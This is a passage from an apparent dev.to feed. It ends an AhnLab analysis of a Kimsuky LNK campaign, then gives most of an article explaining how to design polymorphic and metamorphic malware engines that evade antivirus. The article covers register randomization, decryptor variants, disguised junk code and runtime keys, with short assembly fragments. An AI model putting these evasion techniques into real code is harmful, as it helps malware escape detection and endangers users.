&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh03kcijq9u9ozovn65w2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh03kcijq9u9ozovn65w2.png" alt="Figure 8" width="602" height="715"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Figure 8] Partial Python Downloader Code&lt;/em&gt;&lt;/p&gt;



&lt;h2&gt;
  
  
  4. Kimsuky Group Characteristics
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4-1. XML-Based Scheduled Task Registration
&lt;/h3&gt;

&lt;p&gt;The task names used in this backdoor campaign are similar to those previously used by Kimsuky when distributing RAT malware.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0rd0aitaq1lgqap4yw5u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0rd0aitaq1lgqap4yw5u.png" alt="Table 8" width="800" height="389"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Table 8] Similarity in Scheduled Task Names&lt;/em&gt;&lt;/p&gt;



&lt;h3&gt;
  
  
  4-2. Similar XML Filenames
&lt;/h3&gt;

&lt;p&gt;Kimsuky has historically used XML files in the &lt;code&gt;sch_*.db&lt;/code&gt; format for scheduled task registration.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4sbf4mbxjtr652715rfm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4sbf4mbxjtr652715rfm.png" alt="Table 9" width="800" height="211"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Table 9] Similarity in XML Filenames&lt;/em&gt;&lt;/p&gt;



&lt;h3&gt;
  
  
  4-3. Reuse of Previously Used Decoy Files
&lt;/h3&gt;

&lt;p&gt;Decoy files used in past Kimsuky campaigns are being reused in these new LNK attacks.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgk8fsrlmm7mj31vhhlxl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgk8fsrlmm7mj31vhhlxl.png" alt="Figure 9" width="800" height="527"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Figure 9] Legitimate Decoy File Used in Previous Kimsuky Campaigns&lt;/em&gt;&lt;/p&gt;



&lt;h2&gt;
  
  
  5. Conclusion
&lt;/h2&gt;

&lt;p&gt;In this campaign, Kimsuky maintained a similar overall attack flow while introducing structural changes in the intermediate execution stages. The abuse of legitimate cloud services like Dropbox for both data exfiltration and file download, along with the use of Python to bypass detection, are notable features. These changes demonstrate the group’s tactic of keeping the broad attack framework intact while continuously modifying implementation details to evade detection.&lt;/p&gt;

&lt;p&gt;LNK files disguised as document files are extremely difficult to identify as malicious based on appearance alone. Therefore, users should always be cautious with files from unknown sources and never execute them recklessly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Source: AhnLab&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>malware</category>
      <category>vulnerabilities</category>
      <category>redteam</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>The Art of Self-Mutating Malware</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Sat, 11 Apr 2026 10:09:15 +0000</pubDate>
      <link>https://dev.to/excalibra/the-art-of-self-mutating-malware-36ab</link>
      <guid>https://dev.to/excalibra/the-art-of-self-mutating-malware-36ab</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbd2nrc3ffj6igs90wvbf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbd2nrc3ffj6igs90wvbf.png" alt=" " width="800" height="340"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Article Summary&lt;/strong&gt;: This article systematically elaborates on the technical evolution and implementation principles of self-mutating malware, covering the core mechanisms of polymorphic and metamorphic engines. Through two concrete examples — Veil64 and Morpheus — the author "f00crew" from Hong Kong China, analyzes key techniques such as register randomization, algorithmic variants, and intelligent junk code injection. It emphasizes how mutation at the syntactic, structural, and semantic layers can evade signature-based detection while strictly adhering to the principle of behavioral conservation. The author points out that the essence of mutation technology is to keep functionality unchanged while infinitely varying the implementation method, and warns of risks such as code size inflation and stability issues.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Categories&lt;/strong&gt;: Malware, Binary Security, Vulnerability Analysis, Red Teaming, Penetration Testing&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe31vsj5wynprxmqy68y6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe31vsj5wynprxmqy68y6.png" alt=" " width="800" height="340"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Art of Self-Mutating Malware&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In the beginning, detection relied on signatures — a simple byte string that could uniquely identify a malicious sample. In that era, the process was straightforward: append the virus to the end of a file and patch the entry point. The AV industry quickly responded with signature databases, and for a period, the rhythm of this confrontation was predictable.&lt;/p&gt;

&lt;p&gt;This article discusses how to implement self-mutating malicious code: how to build your own polymorphic engine, and some core ideas behind metamorphic code. For malicious code, self-mutation is one of the most elegant paths to solving the detection problem. You no longer just hide yourself — you become “another you” with every replication. This is the purest form of digital evolution.&lt;/p&gt;

&lt;p&gt;The concepts we discuss do not depend on any specific implementation. Although the article uses real examples and practical principles from code I have written, the real value lies in understanding the underlying theory of “why mutation is feasible.”&lt;/p&gt;

&lt;p&gt;Let’s go back to the beginning. Early VX practices were crude: they directly overwrote files and caused destruction. Some samples would first run the original program and then deliver their own payload. AV quickly caught up, mainly relying on signature scanning to catch samples.&lt;/p&gt;

&lt;p&gt;The VX community evolved accordingly and began encrypting their code. The payload remained encrypted and was only unpacked at runtime. AV then turned its attention to the decryptor, so VX authors began dynamically transforming decryption routines. Some families even automatically rotated decryptors — this type later became known as &lt;strong&gt;oligomorphic&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Around 1985 to 1990, AV dominated with static signature scanning: string matching and fixed byte patterns made samples easy to hit once they landed on disk. By the early 1990s, the situation began to change. Virus bodies started to be encrypted, exposing only a decryption stub. This stub immediately became AV’s primary hunting target and spurred the development of wildcard and heuristic scanning.&lt;/p&gt;

&lt;p&gt;Then &lt;strong&gt;polymorphic&lt;/strong&gt; viruses appeared. The virus would automatically generate a new decryptor at creation time or during each infection. Each instance had its own encryption/decryption routine and evaded scanning by rearranging machine code. This was the typical feature from 1995 to 2000: the same virus, infinite appearances. Dark Avenger’s MtE engine completely rewrote the rules of this game.&lt;/p&gt;

&lt;p&gt;After that, &lt;strong&gt;metamorphic&lt;/strong&gt; viruses emerged. They no longer relied on an encryption shell. They would rewrite the entire body with every infection. Code structure, control flow, and register usage would all change, but the payload remained unchanged. Between 2000 and 2005, metamorphic samples like Zmist and Simile raised the bar even higher: there was no fixed decryptor to track — only continuous code mutation.&lt;/p&gt;

&lt;p&gt;Metamorphic code changes &lt;strong&gt;everything&lt;/strong&gt;, not just the decryptor. It evolved from polymorphism but upgraded from “encryption camouflage” to “overall code reshaping.” Detection difficulty is extremely high; implementation difficulty is equally high, especially at the assembly level.&lt;/p&gt;

&lt;h3&gt;
  
  
  Overview
&lt;/h3&gt;

&lt;p&gt;When it comes to self-modifying loaders, you have two paths. The first is to keep it small and aggressive: build a lightweight, fast loader that only performs “just enough” mutation — tweak a few places here, quickly shuffle a few there — to slip past scanners without triggering obvious alerts. The code remains compact and raw, but reliable enough.&lt;/p&gt;

&lt;p&gt;The other path is full metamorphosis. The loader no longer just fine-tunes itself; it disassembles and rebuilds itself. Layouts are rearranged, instructions are scattered, and entirely new encryption is used on every run. Even if reverse engineers and AV capture one version, the next version will look like a completely unfamiliar sample.&lt;/p&gt;

&lt;p&gt;This is not magic. Making it run stably after every mutation is extremely difficult. You must build in validation: count instructions, verify jumps, and perform sanity checks on every change — otherwise it will crash immediately. Even more troublesome is that code size can balloon out of control, eventually losing practicality.&lt;/p&gt;

&lt;p&gt;Before discussing specific techniques, we must first clarify: when we talk about executable code, what does “mutation” really mean? It is not just “changing a few bytes,” but the relationship between “form and function,” and how far this relationship can be stretched without destroying behavior.&lt;/p&gt;

&lt;h3&gt;
  
  
  — The Essence of Identity —
&lt;/h3&gt;

&lt;p&gt;What exactly makes a program “itself”? Is it the order of instructions? Register usage? Memory layout? Or something deeper, like intent?&lt;/p&gt;

&lt;p&gt;Mutation’s answer is: identity does not lie in what the code &lt;strong&gt;looks like&lt;/strong&gt;, but in what the code &lt;strong&gt;does&lt;/strong&gt;. As long as two binaries produce the same output for the same input, they are functionally equivalent — even if their assembly is completely different.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="nf"&gt;Version&lt;/span&gt; &lt;span class="nv"&gt;A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                    &lt;span class="nv"&gt;Version&lt;/span&gt; &lt;span class="nv"&gt;B&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                    &lt;span class="nv"&gt;Version&lt;/span&gt; &lt;span class="nv"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                    &lt;span class="nv"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;                  &lt;span class="nv"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;ebx&lt;/span&gt;                       &lt;span class="nv"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;                    &lt;span class="nv"&gt;lea&lt;/span&gt; &lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Bytes:                        Bytes:                        Bytes:
B8 00 00 00 00 43             31 C0 83 C3 01                29 C0 8D 5B 01
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three completely different byte patterns that produce identical behavior. This was my “eureka moment” and the starting point for all subsequent implementations.&lt;/p&gt;

&lt;p&gt;The core insight is: a program’s identity is not its bytes, but its behavior. If I can generate infinitely many patterns that keep behavior unchanged while making bytes different, signature-based detection will be continuously undermined.&lt;/p&gt;

&lt;p&gt;But this also raises harder questions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How to systematically generate equivalent code?&lt;/li&gt;
&lt;li&gt;How to guarantee correctness across mutations?&lt;/li&gt;
&lt;li&gt;How to make variants truly unpredictable?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These three questions directly shaped the design of my two engines. They explore different paths to “mutation,” and we call them &lt;strong&gt;Veil64&lt;/strong&gt; and &lt;strong&gt;Morpheus&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Veil64 is a polymorphic code generator used to produce infinite variants of decryption routines: same functionality, infinite forms. Morpheus is a file infector that truly rewrites its own code during execution.&lt;/p&gt;

&lt;p&gt;This is the core idea. Everything else is built on top of it: if you cannot hide &lt;em&gt;what&lt;/em&gt; is done, then make &lt;em&gt;how&lt;/em&gt; it is done unpredictable.&lt;/p&gt;

&lt;p&gt;Signatures are the byte patterns that AV focuses on tracking — the “high-risk” digital footprints. Strings, code fragments, hashes — anything that can mark malware will be used. Encryption is a key technique here: it scrambles these recognizable markers, making it difficult for AV to hit them.&lt;/p&gt;

&lt;p&gt;Then there is the &lt;strong&gt;payload&lt;/strong&gt;, the part that actually executes the malicious logic. It usually does not run alone but is bound to a stub. This small module decrypts and launches the payload in memory. Because the payload itself is encrypted, AV has difficulty hitting it statically and instead targets the stub. The advantage is that the stub is small and easy to continuously mutate, allowing it to constantly bypass old rules.&lt;/p&gt;

&lt;p&gt;This turns the confrontation into a “one-to-many” game, and this mathematical relationship naturally favors the mutation side. Each new variant has a chance to break old detection rules, burn old signatures, and continue to lurk.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“What starts as polymorphic finishes as metamorphic.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  — Levels of Mutation —
&lt;/h3&gt;

&lt;p&gt;Mutation is not just surface-level change — it occurs across layers, including syntactic, structural, and semantic reconstruction.&lt;/p&gt;

&lt;p&gt;First, &lt;strong&gt;syntactic mutation&lt;/strong&gt; (grammar-level mutation). This is the outermost layer: replacing equivalent instructions, randomizing register usage, and reordering operations. Appearance changes, result remains the same.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="nl"&gt;Original:&lt;/span&gt;     &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nl"&gt;Mutated:&lt;/span&gt;      &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;ebx&lt;/span&gt;
              &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
              &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
              &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
              &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;ebx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both snippets load the value at &lt;code&gt;[ebx+4]&lt;/code&gt; into &lt;code&gt;eax&lt;/code&gt;, but the instruction paths are completely different.&lt;/p&gt;

&lt;p&gt;Deeper is &lt;strong&gt;structural mutation&lt;/strong&gt; (structure-level mutation). The change is more profound: reconnecting control flow, rewriting data structures, or even replacing entire algorithms with “different paths but equivalent results.”&lt;/p&gt;

&lt;p&gt;The deepest is &lt;strong&gt;semantic mutation&lt;/strong&gt; (semantic-level mutation). It splits functions and reorganizes logic into behaviorally equivalent bodies while ensuring the original intent remains unchanged.&lt;/p&gt;

&lt;h3&gt;
  
  
  — The Conservation Principle —
&lt;/h3&gt;

&lt;p&gt;No matter how aggressive the mutation, there is one non-negotiable constraint: the program’s semantic behavior must be preserved. &lt;em&gt;What&lt;/em&gt; is done (functional output) must remain unchanged; only &lt;em&gt;how&lt;/em&gt; it is done (internal implementation mechanism) can change.&lt;/p&gt;

&lt;p&gt;The genotype (underlying code structure) can freely drift, mutate, and be obfuscated; the phenotype (externally observable behavior) must remain constant. All mutation techniques can only operate within this boundary.&lt;/p&gt;

&lt;h3&gt;
  
  
  Naive Approaches
&lt;/h3&gt;

&lt;p&gt;Polymorphism is the purest form of mutation. It essentially expresses the same thing in a thousand different ways. Like a chameleon with a clear goal: core behavior is locked, while everything else continuously changes. No fixed identity, only endless variants.&lt;/p&gt;

&lt;p&gt;My first serious attempt to break signature detection was &lt;strong&gt;Veil64&lt;/strong&gt;: a polymorphic code generator capable of generating infinite different ways to write the same decryption logic. The goal was simple: encrypt the payload differently every time and ensure the decryptor never appears the same twice.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Core Challenges —
&lt;/h3&gt;

&lt;p&gt;Constructing code that can correctly decrypt every time but looks different each time is non-trivial. Every generation must be compact, fast, clean, highly efficient, without leaving obvious patterns, and resistant to both static and dynamic analysis.&lt;/p&gt;

&lt;p&gt;I started with a simple two-stage design, and understanding this split is key to why it works. The first layer is the &lt;strong&gt;stub&lt;/strong&gt;: a minimal piece of code responsible for memory allocation and decrypting the embedded engine. The second layer is the &lt;strong&gt;engine&lt;/strong&gt; itself: the polymorphic decryptor that actually handles the payload.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────┐
│   Stub Code     │   (119-200 bytes)
├─────────────────┤
│ Encrypted Engine│   (176-300 bytes)
├─────────────────┤
│   Padding       │
└─────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why use two stages? Because this allows the polymorphic engine itself to be encrypted. The stub is small and simple, so even with variants, the signature surface is limited. The real polymorphic power resides in the engine. By encrypting the engine and embedding it inside the stub, complex and variable code is hidden until runtime.&lt;/p&gt;

&lt;p&gt;The overall flow is as follows: you call &lt;code&gt;genrat()&lt;/code&gt; with a buffer, size, and seed key. The engine first generates a runtime key using multiple entropy sources: RDTSC provides hardware timing, stack pointer provides process differences, and RIP provides position-related randomness. It then builds the polymorphic engine, including random register allocation, selection among four algorithmic variants, and intelligent junk code injection.&lt;/p&gt;

&lt;p&gt;Next comes the stub generation stage. Multiple &lt;code&gt;mmap&lt;/code&gt; syscall initialization variants are generated, RIP-relative addressing is handled for position independence, and the encrypted engine is embedded. Finally, everything is encrypted and assembled into executable code.&lt;/p&gt;

&lt;p&gt;The clever part is that the stub and engine change independently. Even if someone creates a signature for a stub variant, the internal encrypted engine is different every time. Even if they manage to extract and analyze the engine, the next generation will use a completely different set of registers and algorithms.&lt;/p&gt;

&lt;h3&gt;
  
  
  — The Four Pillars of Polymorphism —
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Never use the same set of registers twice.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Hard-coded registers are signature bait. If your decryptor always uses EAX as a counter and EBX as a data pointer, you are practically exposing yourself. Such patterns will be quickly flagged, so the engine randomizes register usage on every generation.&lt;/p&gt;

&lt;p&gt;But this is not random grabbing. The selection process avoids conflicts, skips RSP to prevent stack corruption, and ensures no register takes on multiple roles. The underlying logic looks roughly like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="nl"&gt;get_rr:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RSP&lt;/span&gt;           &lt;span class="c1"&gt;; Never use stack pointer&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;get_rr&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RAX&lt;/span&gt;           &lt;span class="c1"&gt;; Avoid RAX conflicts&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;get_rr&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;    &lt;span class="c1"&gt;; Store base register&lt;/span&gt;

&lt;span class="nl"&gt;.retry_count:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RSP&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_count&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;    &lt;span class="c1"&gt;; Ensure no conflicts&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_count&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This process is repeated for key registers and all registers used in junk code. Even before considering algorithms and junk injection, there are already 210 possible register combinations. That means the same register-level operation can have 210 different appearances — all completely distinct to a signature scanner.&lt;/p&gt;

&lt;p&gt;One variant might use RBX for data, RCX for counting, and RDX for the key. The next might switch to RSI for data, RDI for counting, and RBX for the key. Yet another could use extended registers R8, R9, R10. Every combination is functionally equivalent, but the opcode patterns are completely different.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Four Ways to Say the Same Thing —
&lt;/h3&gt;

&lt;p&gt;Register randomization is only the starting point. True depth comes from algorithmic polymorphism. We do not fix a single decryption flow but cycle between four equivalent algorithms: same output, completely different instruction streams.&lt;/p&gt;

&lt;p&gt;This is not simply swapping XOR for ADD. Each variant is carefully designed to guarantee correctness while maximizing signature dispersion.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Algorithm 0: ADD → ROL → XOR
&lt;/li&gt;
&lt;li&gt;Algorithm 1: XOR → ROL → XOR
&lt;/li&gt;
&lt;li&gt;Algorithm 2: SUB → ROR → XOR
&lt;/li&gt;
&lt;li&gt;Algorithm 3: XOR → ADD → XOR
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All four algorithms produce identical final results, but their instruction sequences and opcode patterns are entirely different.&lt;/p&gt;

&lt;p&gt;Each algorithm has a corresponding inverse process in the encryption phase. For example, if encryption uses XOR → ROR → SUB, decryption uses ADD → ROL → XOR. Mathematically they cancel perfectly, but the instruction flows never look the same. Opcode patterns, instruction lengths, and register usage all change. To a signature scanner, they appear as completely different routines.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Intelligent Junk Code —
&lt;/h3&gt;

&lt;p&gt;Most polymorphic engines fail here: they either stuff random bytes or pile on obvious NOP sleds, practically shouting “I’m malware.” That is low-level. True polymorphism uses “intentional-looking” junk code that blends into the context and mimics normal compiler output.&lt;/p&gt;

&lt;p&gt;Junk injection is not purely random — it is structured. It uses no-net-effect PUSH/POP pairs that look like register preservation, XOR reg, reg to imitate common zeroing initialization, and MOV reg, reg that resembles typical compiler register shuffling.&lt;/p&gt;

&lt;p&gt;This is just a very basic example. Some engines do it more aggressively. The key point is to make it look like real developer code. PUSH RAX followed by POP RBX can masquerade as register saving and transfer; XOR RAX, RAX looks like legitimate initialization; MOV RAX, RAX resembles dead code left by an optimizer. Functionally they add no value, but visually they blend in.&lt;/p&gt;

&lt;p&gt;Junk injection also deliberately varies in density: sometimes heavy, sometimes sparse; sometimes clumped, sometimes scattered in loops. There is no fixed “junk zone” that can be isolated — only code that looks normal every single time.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Breaking Linear Analysis —
&lt;/h3&gt;

&lt;p&gt;Static analysis relies on linear flow: traversing code, building graphs, and extracting patterns. So we break it. Random jumps are inserted to skip over junk regions, directly destroying straight-line logic.&lt;/p&gt;

&lt;p&gt;Jump generation is subtle. Sometimes 2-byte short jumps, sometimes 5-byte long jumps; they may skip only 1 byte or over a dozen. The skipped junk content is randomized every time. Even if the analyzer follows the jump path, its rhythm is disrupted on every run.&lt;/p&gt;

&lt;p&gt;This produces unpredictable control flow and interferes with both static and dynamic analysis. Static tools face non-linear instruction streams mixed with random data; dynamic tools encounter different execution paths on every run, making it difficult to build a stable behavioral profile.&lt;/p&gt;

&lt;p&gt;These jumps also serve a dual purpose: they mimic compiler output. Real compiled code is full of branches, jumps, and irregular flow. Injecting our own jumps increases this “natural complexity,” helping the code blend more seamlessly.&lt;/p&gt;

&lt;h3&gt;
  
  
  — The Entropy Problem —
&lt;/h3&gt;

&lt;p&gt;Hard-coded keys or constants are traps. I learned this the hard way: early versions embedded the constant 0xDEADBEEF in every variant. No matter how much the rest of the code changed, that fixed value instantly became a red flag.&lt;/p&gt;

&lt;p&gt;The solution is runtime key generation: no fixed constants, no repetition, no nail-down patterns. The key is reconstructed on every execution, drawing from multiple entropy sources that vary with execution round, process, and machine.&lt;/p&gt;

&lt;p&gt;Entropy comes from multiple sources. RDTSC provides high-resolution microsecond-level timing; the stack pointer changes with processes and function calls; RIP brings position-related randomness under ASLR; the user key introduces input-driven variation.&lt;/p&gt;

&lt;p&gt;The real strength lies in how these values are combined. It is not simple XOR, but involves rotations, complements, and mixing with stack-related values. Each transformation step depends on the current state, forming a dependency chain that ultimately produces a truly unpredictable key.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Randomness Is Critical —
&lt;/h3&gt;

&lt;p&gt;Excellent polymorphic capability depends on high-quality randomness. Many engines use basic linear congruential generators or simple incrementing counters — both easily produce predictable patterns that can be flagged. I prefer the XorShift PRNG: fast, long period (2^64−1), and passes strong statistical randomness tests without repeating for a very long time.&lt;/p&gt;

&lt;p&gt;Under ASLR, code is loaded at different addresses each time. Hard-coded absolute addresses will cause the polymorphic decryptor to fail if it lands in an unexpected location. The solution is RIP-relative addressing, with offsets calculated based on the current instruction pointer.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Just-in-Time Machine Code Generation —
&lt;/h3&gt;

